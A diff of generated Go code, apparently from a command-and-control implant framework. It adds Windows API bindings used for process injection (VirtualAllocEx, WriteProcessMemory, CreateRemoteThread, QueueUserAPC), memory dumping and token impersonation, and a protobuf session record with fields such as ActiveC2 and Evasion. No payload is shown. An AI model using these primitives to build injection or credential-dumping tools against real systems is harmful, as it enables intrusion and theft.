r0, _, e1 := syscall.Syscall(procGlobalLock.Addr(), 1, uintptr(hMem), 0, 0)
|
||||
LPVOID = uintptr(r0)
|
||||
if LPVOID == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func GlobalUnlock(hMem windows.Handle) (BOOL uint32, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procGlobalUnlock.Addr(), 1, uintptr(hMem), 0, 0)
|
||||
BOOL = uint32(r0)
|
||||
if BOOL == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func GetDC(HWND windows.Handle) (HDC windows.Handle, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procGetDC.Addr(), 1, uintptr(HWND), 0, 0)
|
||||
HDC = windows.Handle(r0)
|
||||
if HDC == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func GetDesktopWindow() (HWND windows.Handle, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procGetDesktopWindow.Addr(), 0, 0, 0, 0)
|
||||
HWND = windows.Handle(r0)
|
||||
if HWND == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func ReleaseDC(hWnd windows.Handle, hDC windows.Handle) (int uint32, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procReleaseDC.Addr(), 2, uintptr(hWnd), uintptr(hDC), 0)
|
||||
int = uint32(r0)
|
||||
if int == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func ImpersonateLoggedOnUser(hToken windows.Token) (err error) {
|
||||
r1, _, e1 := syscall.Syscall(procImpersonateLoggedOnUser.Addr(), 1, uintptr(hToken), 0, 0)
|
||||
if r1 == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func LogonUser(lpszUsername *uint16, lpszDomain *uint16, lpszPassword *uint16, dwLogonType uint32, dwLogonProvider uint32, phToken *windows.Token) (err error) {
|
||||
r1, _, e1 := syscall.Syscall6(procLogonUserW.Addr(), 6, uintptr(unsafe.Pointer(lpszUsername)), uintptr(unsafe.Pointer(lpszDomain)), uintptr(unsafe.Pointer(lpszPassword)), uintptr(dwLogonType), uintptr(dwLogonProvider), uintptr(unsafe.Pointer(phToken)))
|
||||
if r1 == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func LookupPrivilegeDisplayNameW(systemName string, privilegeName *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) {
|
||||
var _p0 *uint16
|
||||
_p0, err = syscall.UTF16PtrFromString(systemName)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
return _LookupPrivilegeDisplayNameW(_p0, privilegeName, buffer, size, languageId)
|
||||
}
|
||||
|
||||
func _LookupPrivilegeDisplayNameW(systemName *uint16, privilegeName *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) {
|
||||
r1, _, e1 := syscall.Syscall6(procLookupPrivilegeDisplayNameW.Addr(), 5, uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(privilegeName)), uintptr(unsafe.Pointer(buffer)), uintptr(unsafe.Pointer(size)), uintptr(unsafe.Pointer(languageId)), 0)
|
||||
if r1 == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func LookupPrivilegeNameW(systemName string, luid *uint64, buffer *uint16, size *uint32) (err error) {
|
||||
var _p0 *uint16
|
||||
_p0, err = syscall.UTF16PtrFromString(systemName)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
return _LookupPrivilegeNameW(_p0, luid, buffer, size)
|
||||
}
|
||||
|
||||
func _LookupPrivilegeNameW(systemName *uint16, luid *uint64, buffer *uint16, size *uint32) (err error) {
|
||||
r1, _, e1 := syscall.Syscall6(procLookupPrivilegeNameW.Addr(), 4, uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(luid)), uintptr(unsafe.Pointer(buffer)), uintptr(unsafe.Pointer(size)), 0, 0)
|
||||
if r1 == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -131,65 +275,28 @@ func CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.S
|
||||
var _p0 uint32
|
||||
if inheritHandles {
|
||||
_p0 = 1
|
||||
} else {
|
||||
_p0 = 0
|
||||
}
|
||||
r1, _, e1 := syscall.Syscall12(procCreateProcessW.Addr(), 10, uintptr(unsafe.Pointer(appName)), uintptr(unsafe.Pointer(commandLine)), uintptr(unsafe.Pointer(procSecurity)), uintptr(unsafe.Pointer(threadSecurity)), uintptr(_p0), uintptr(creationFlags), uintptr(unsafe.Pointer(env)), uintptr(unsafe.Pointer(currentDir)), uintptr(unsafe.Pointer(startupInfo)), uintptr(unsafe.Pointer(outProcInfo)), 0, 0)
|
||||
if r1 == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) {
|
||||
r0, _, e1 := syscall.Syscall6(procVirtualAllocEx.Addr(), 5, uintptr(hProcess), uintptr(lpAddress), uintptr(dwSize), uintptr(flAllocationType), uintptr(flProtect), 0)
|
||||
addr = uintptr(r0)
|
||||
if addr == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
func CreateRemoteThread(hProcess windows.Handle, lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32) (threadHandle windows.Handle, err error) {
|
||||
r0, _, e1 := syscall.Syscall9(procCreateRemoteThread.Addr(), 7, uintptr(hProcess), uintptr(unsafe.Pointer(lpThreadAttributes)), uintptr(dwStackSize), uintptr(lpStartAddress), uintptr(lpParameter), uintptr(dwCreationFlags), uintptr(unsafe.Pointer(lpThreadId)), 0, 0)
|
||||
threadHandle = windows.Handle(r0)
|
||||
if threadHandle == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func WriteProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesWritten *uintptr) (err error) {
|
||||
r1, _, e1 := syscall.Syscall6(procWriteProcessMemory.Addr(), 5, uintptr(hProcess), uintptr(lpBaseAddress), uintptr(unsafe.Pointer(lpBuffer)), uintptr(nSize), uintptr(unsafe.Pointer(lpNumberOfBytesWritten)), 0)
|
||||
if r1 == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func VirtualProtectEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flNewProtect uint32, lpflOldProtect *uint32) (err error) {
|
||||
r1, _, e1 := syscall.Syscall6(procVirtualProtectEx.Addr(), 5, uintptr(hProcess), uintptr(lpAddress), uintptr(dwSize), uintptr(flNewProtect), uintptr(unsafe.Pointer(lpflOldProtect)), 0)
|
||||
if r1 == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func QueueUserAPC(pfnAPC uintptr, hThread windows.Handle, dwData uintptr) (err error) {
|
||||
r1, _, e1 := syscall.Syscall(procQueueUserAPC.Addr(), 3, uintptr(pfnAPC), uintptr(hThread), uintptr(dwData))
|
||||
if r1 == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
func CreateThread(lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32) (threadHandle windows.Handle, err error) {
|
||||
r0, _, e1 := syscall.Syscall6(procCreateThread.Addr(), 6, uintptr(unsafe.Pointer(lpThreadAttributes)), uintptr(dwStackSize), uintptr(lpStartAddress), uintptr(lpParameter), uintptr(dwCreationFlags), uintptr(unsafe.Pointer(lpThreadId)))
|
||||
threadHandle = windows.Handle(r0)
|
||||
if threadHandle == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -199,270 +306,124 @@ func DeleteProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST)
|
||||
return
|
||||
}
|
||||
|
||||
func HeapFree(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (err error) {
|
||||
r1, _, e1 := syscall.Syscall(procHeapFree.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(lpMem))
|
||||
if r1 == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func CreateRemoteThread(hProcess windows.Handle, lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32) (threadHandle windows.Handle, err error) {
|
||||
r0, _, e1 := syscall.Syscall9(procCreateRemoteThread.Addr(), 7, uintptr(hProcess), uintptr(unsafe.Pointer(lpThreadAttributes)), uintptr(dwStackSize), uintptr(lpStartAddress), uintptr(lpParameter), uintptr(dwCreationFlags), uintptr(unsafe.Pointer(lpThreadId)), 0, 0)
|
||||
threadHandle = windows.Handle(r0)
|
||||
if threadHandle == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func CreateThread(lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32) (threadHandle windows.Handle, err error) {
|
||||
r0, _, e1 := syscall.Syscall6(procCreateThread.Addr(), 6, uintptr(unsafe.Pointer(lpThreadAttributes)), uintptr(dwStackSize), uintptr(lpStartAddress), uintptr(lpParameter), uintptr(dwCreationFlags), uintptr(unsafe.Pointer(lpThreadId)))
|
||||
threadHandle = windows.Handle(r0)
|
||||
if threadHandle == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func GetExitCodeThread(hTread windows.Handle, lpExitCode *uint32) (err error) {
|
||||
r1, _, e1 := syscall.Syscall(procGetExitCodeThread.Addr(), 2, uintptr(hTread), uintptr(unsafe.Pointer(lpExitCode)), 0)
|
||||
if r1 == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func MiniDumpWriteDump(hProcess windows.Handle, pid uint32, hFile uintptr, dumpType uint32, exceptionParam uintptr, userStreamParam uintptr, callbackParam uintptr) (err error) {
|
||||
r1, _, e1 := syscall.Syscall9(procMiniDumpWriteDump.Addr(), 7, uintptr(hProcess), uintptr(pid), uintptr(hFile), uintptr(dumpType), uintptr(exceptionParam), uintptr(userStreamParam), uintptr(callbackParam), 0, 0)
|
||||
func GetProcessHeap() (procHeap windows.Handle, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procGetProcessHeap.Addr(), 0, 0, 0, 0)
|
||||
procHeap = windows.Handle(r0)
|
||||
if procHeap == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func HeapAlloc(hHeap windows.Handle, dwFlags uint32, dwBytes uintptr) (lpMem uintptr, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procHeapAlloc.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(dwBytes))
|
||||
lpMem = uintptr(r0)
|
||||
if lpMem == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func HeapFree(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (err error) {
|
||||
r1, _, e1 := syscall.Syscall(procHeapFree.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(lpMem))
|
||||
if r1 == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func ImpersonateLoggedOnUser(hToken windows.Token) (err error) {
|
||||
r1, _, e1 := syscall.Syscall(procImpersonateLoggedOnUser.Addr(), 1, uintptr(hToken), 0, 0)
|
||||
func HeapReAlloc(hHeap windows.Handle, dwFlags uint32, lpMem uintptr, dwBytes uintptr) (lpRes uintptr, err error) {
|
||||
r0, _, e1 := syscall.Syscall6(procHeapReAlloc.Addr(), 4, uintptr(hHeap), uintptr(dwFlags), uintptr(lpMem), uintptr(dwBytes), 0, 0)
|
||||
lpRes = uintptr(r0)
|
||||
if lpRes == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func HeapSize(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (res uint32, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procHeapSize.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(lpMem))
|
||||
res = uint32(r0)
|
||||
if res == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwAttributeCount uint32, dwFlags uint32, lpSize *uintptr) (err error) {
|
||||
r1, _, e1 := syscall.Syscall6(procInitializeProcThreadAttributeList.Addr(), 4, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwAttributeCount), uintptr(dwFlags), uintptr(unsafe.Pointer(lpSize)), 0, 0)
|
||||
if r1 == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func LogonUser(lpszUsername *uint16, lpszDomain *uint16, lpszPassword *uint16, dwLogonType uint32, dwLogonProvider uint32, phToken *windows.Token) (err error) {
|
||||
r1, _, e1 := syscall.Syscall6(procLogonUserW.Addr(), 6, uintptr(unsafe.Pointer(lpszUsername)), uintptr(unsafe.Pointer(lpszDomain)), uintptr(unsafe.Pointer(lpszPassword)), uintptr(dwLogonType), uintptr(dwLogonProvider), uintptr(unsafe.Pointer(phToken)))
|
||||
func PssCaptureSnapshot(processHandle windows.Handle, captureFlags uint32, threadContextFlags uint32, snapshotHandle *windows.Handle) (err error) {
|
||||
r1, _, e1 := syscall.Syscall6(procPssCaptureSnapshot.Addr(), 4, uintptr(processHandle), uintptr(captureFlags), uintptr(threadContextFlags), uintptr(unsafe.Pointer(snapshotHandle)), 0, 0)
|
||||
if r1 == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func GetDC(HWND windows.Handle) (HDC windows.Handle, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procGetDC.Addr(), 1, uintptr(HWND), 0, 0)
|
||||
HDC = windows.Handle(r0)
|
||||
if HDC == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
func QueueUserAPC(pfnAPC uintptr, hThread windows.Handle, dwData uintptr) (err error) {
|
||||
r1, _, e1 := syscall.Syscall(procQueueUserAPC.Addr(), 3, uintptr(pfnAPC), uintptr(hThread), uintptr(dwData))
|
||||
if r1 == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func ReleaseDC(hWnd windows.Handle, hDC windows.Handle) (int uint32, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procReleaseDC.Addr(), 2, uintptr(hWnd), uintptr(hDC), 0)
|
||||
int = uint32(r0)
|
||||
if int == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
func UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) {
|
||||
r1, _, e1 := syscall.Syscall9(procUpdateProcThreadAttribute.Addr(), 7, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwFlags), uintptr(attribute), uintptr(unsafe.Pointer(lpValue)), uintptr(cbSize), uintptr(lpPreviousValue), uintptr(unsafe.Pointer(lpReturnSize)), 0, 0)
|
||||
if r1 == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func CreateCompatibleDC(hdc windows.Handle) (HDC windows.Handle, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procCreateCompatibleDC.Addr(), 1, uintptr(hdc), 0, 0)
|
||||
HDC = windows.Handle(r0)
|
||||
if HDC == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
func VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) {
|
||||
r0, _, e1 := syscall.Syscall6(procVirtualAllocEx.Addr(), 5, uintptr(hProcess), uintptr(lpAddress), uintptr(dwSize), uintptr(flAllocationType), uintptr(flProtect), 0)
|
||||
addr = uintptr(r0)
|
||||
if addr == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func GetDesktopWindow() (HWND windows.Handle, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procGetDesktopWindow.Addr(), 0, 0, 0, 0)
|
||||
HWND = windows.Handle(r0)
|
||||
if HWND == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
func VirtualProtectEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flNewProtect uint32, lpflOldProtect *uint32) (err error) {
|
||||
r1, _, e1 := syscall.Syscall6(procVirtualProtectEx.Addr(), 5, uintptr(hProcess), uintptr(lpAddress), uintptr(dwSize), uintptr(flNewProtect), uintptr(unsafe.Pointer(lpflOldProtect)), 0)
|
||||
if r1 == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func DeleteDC(hdc windows.Handle) (BOOL uint32, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procDeleteDC.Addr(), 1, uintptr(hdc), 0, 0)
|
||||
BOOL = uint32(r0)
|
||||
if BOOL == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
func WriteProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesWritten *uintptr) (err error) {
|
||||
r1, _, e1 := syscall.Syscall6(procWriteProcessMemory.Addr(), 5, uintptr(hProcess), uintptr(lpBaseAddress), uintptr(unsafe.Pointer(lpBuffer)), uintptr(nSize), uintptr(unsafe.Pointer(lpNumberOfBytesWritten)), 0)
|
||||
if r1 == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func CreateCompatibleBitmap(hdc windows.Handle, cx int, cy int) (HBITMAP windows.Handle, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procCreateCompatibleBitmap.Addr(), 3, uintptr(hdc), uintptr(cx), uintptr(cy))
|
||||
HBITMAP = windows.Handle(r0)
|
||||
if HBITMAP == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
}
|
||||
func RtlCopyMemory(dest uintptr, src uintptr, dwSize uint32) {
|
||||
syscall.Syscall(procRtlCopyMemory.Addr(), 3, uintptr(dest), uintptr(src), uintptr(dwSize))
|
||||
return
|
||||
}
|
||||
|
||||
func DeleteObject(ho windows.Handle) (BOOL uint32, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procDeleteObject.Addr(), 1, uintptr(ho), 0, 0)
|
||||
BOOL = uint32(r0)
|
||||
if BOOL == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func GlobalAlloc(uFlags uint, dwBytes uintptr) (HGLOBAL windows.Handle, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procGlobalAlloc.Addr(), 2, uintptr(uFlags), uintptr(dwBytes), 0)
|
||||
HGLOBAL = windows.Handle(r0)
|
||||
if HGLOBAL == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func GlobalFree(hMem windows.Handle) (HGLOBAL windows.Handle, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procGlobalFree.Addr(), 1, uintptr(hMem), 0, 0)
|
||||
HGLOBAL = windows.Handle(r0)
|
||||
if HGLOBAL == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func GlobalLock(hMem windows.Handle) (LPVOID uintptr, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procGlobalLock.Addr(), 1, uintptr(hMem), 0, 0)
|
||||
LPVOID = uintptr(r0)
|
||||
if LPVOID == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func GlobalUnlock(hMem windows.Handle) (BOOL uint32, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procGlobalUnlock.Addr(), 1, uintptr(hMem), 0, 0)
|
||||
BOOL = uint32(r0)
|
||||
if BOOL == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func SelectObject(hdc windows.Handle, h windows.Handle) (HGDIOBJ windows.Handle, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procSelectObject.Addr(), 2, uintptr(hdc), uintptr(h), 0)
|
||||
HGDIOBJ = windows.Handle(r0)
|
||||
if HGDIOBJ == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func BitBlt(hdc windows.Handle, x uint32, y uint32, cx uint32, cy uint32, hdcSrc windows.Handle, x1 uint32, y1 uint32, rop int32) (BOOL int, err error) {
|
||||
r0, _, e1 := syscall.Syscall9(procBitBlt.Addr(), 9, uintptr(hdc), uintptr(x), uintptr(y), uintptr(cx), uintptr(cy), uintptr(hdcSrc), uintptr(x1), uintptr(y1), uintptr(rop))
|
||||
BOOL = int(r0)
|
||||
if BOOL == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func GetDIBits(hdc windows.Handle, hbm windows.Handle, start uint32, cLines uint32, lpvBits uintptr, lpbmi uintptr, usage int) (ret int, err error) {
|
||||
r0, _, e1 := syscall.Syscall9(procGetDIBits.Addr(), 7, uintptr(hdc), uintptr(hbm), uintptr(start), uintptr(cLines), uintptr(lpvBits), uintptr(lpbmi), uintptr(usage), 0, 0)
|
||||
ret = int(r0)
|
||||
if ret == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
func GetProcessMemoryInfo(process windows.Handle, ppsmemCounters *ProcessMemoryCounters, cb uint32) (err error) {
|
||||
r1, _, e1 := syscall.Syscall(procGetProcessMemoryInfo.Addr(), 3, uintptr(process), uintptr(unsafe.Pointer(ppsmemCounters)), uintptr(cb))
|
||||
if r1 == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
+429
-86
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.17.3
|
||||
// protoc v3.15.8
|
||||
// source: clientpb/client.proto
|
||||
|
||||
package clientpb
|
||||
@@ -380,28 +380,29 @@ type Session struct {
|
||||
sizeCache protoimpl.SizeCache
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
ID uint32 `protobuf:"varint,1,opt,name=ID,proto3" json:"ID,omitempty"`
|
||||
Name string `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"`
|
||||
Hostname string `protobuf:"bytes,3,opt,name=Hostname,proto3" json:"Hostname,omitempty"`
|
||||
UUID string `protobuf:"bytes,4,opt,name=UUID,proto3" json:"UUID,omitempty"`
|
||||
Username string `protobuf:"bytes,5,opt,name=Username,proto3" json:"Username,omitempty"`
|
||||
UID string `protobuf:"bytes,6,opt,name=UID,proto3" json:"UID,omitempty"`
|
||||
GID string `protobuf:"bytes,7,opt,name=GID,proto3" json:"GID,omitempty"`
|
||||
OS string `protobuf:"bytes,8,opt,name=OS,proto3" json:"OS,omitempty"`
|
||||
Arch string `protobuf:"bytes,9,opt,name=Arch,proto3" json:"Arch,omitempty"`
|
||||
Transport string `protobuf:"bytes,10,opt,name=Transport,proto3" json:"Transport,omitempty"`
|
||||
RemoteAddress string `protobuf:"bytes,11,opt,name=RemoteAddress,proto3" json:"RemoteAddress,omitempty"`
|
||||
PID int32 `protobuf:"varint,12,opt,name=PID,proto3" json:"PID,omitempty"`
|
||||
Filename string `protobuf:"bytes,13,opt,name=Filename,proto3" json:"Filename,omitempty"` // Argv[0]
|
||||
LastCheckin string `protobuf:"bytes,14,opt,name=LastCheckin,proto3" json:"LastCheckin,omitempty"`
|
||||
ActiveC2 string `protobuf:"bytes,15,opt,name=ActiveC2,proto3" json:"ActiveC2,omitempty"`
|
||||
Version string `protobuf:"bytes,16,opt,name=Version,proto3" json:"Version,omitempty"`
|
||||
Evasion bool `protobuf:"varint,17,opt,name=Evasion,proto3" json:"Evasion,omitempty"`
|
||||
IsDead bool `protobuf:"varint,18,opt,name=IsDead,proto3" json:"IsDead,omitempty"`
|
||||
ReconnectInterval uint32 `protobuf:"varint,19,opt,name=ReconnectInterval,proto3" json:"ReconnectInterval,omitempty"`
|
||||
ProxyURL string `protobuf:"bytes,20,opt,name=ProxyURL,proto3" json:"ProxyURL,omitempty"`
|
||||
PollInterval uint32 `protobuf:"varint,21,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
|
||||
Burned bool `protobuf:"varint,22,opt,name=Burned,proto3" json:"Burned,omitempty"`
|
||||
ID uint32 `protobuf:"varint,1,opt,name=ID,proto3" json:"ID,omitempty"`
|
||||
Name string `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"`
|
||||
Hostname string `protobuf:"bytes,3,opt,name=Hostname,proto3" json:"Hostname,omitempty"`
|
||||
UUID string `protobuf:"bytes,4,opt,name=UUID,proto3" json:"UUID,omitempty"`
|
||||
Username string `protobuf:"bytes,5,opt,name=Username,proto3" json:"Username,omitempty"`
|
||||
UID string `protobuf:"bytes,6,opt,name=UID,proto3" json:"UID,omitempty"`
|
||||
GID string `protobuf:"bytes,7,opt,name=GID,proto3" json:"GID,omitempty"`
|
||||
OS string `protobuf:"bytes,8,opt,name=OS,proto3" json:"OS,omitempty"`
|
||||
Arch string `protobuf:"bytes,9,opt,name=Arch,proto3" json:"Arch,omitempty"`
|
||||
Transport string `protobuf:"bytes,10,opt,name=Transport,proto3" json:"Transport,omitempty"`
|
||||
RemoteAddress string `protobuf:"bytes,11,opt,name=RemoteAddress,proto3" json:"RemoteAddress,omitempty"`
|
||||
PID int32 `protobuf:"varint,12,opt,name=PID,proto3" json:"PID,omitempty"`
|
||||
Filename string `protobuf:"bytes,13,opt,name=Filename,proto3" json:"Filename,omitempty"` // Argv[0]
|
||||
LastCheckin string `protobuf:"bytes,14,opt,name=LastCheckin,proto3" json:"LastCheckin,omitempty"`
|
||||
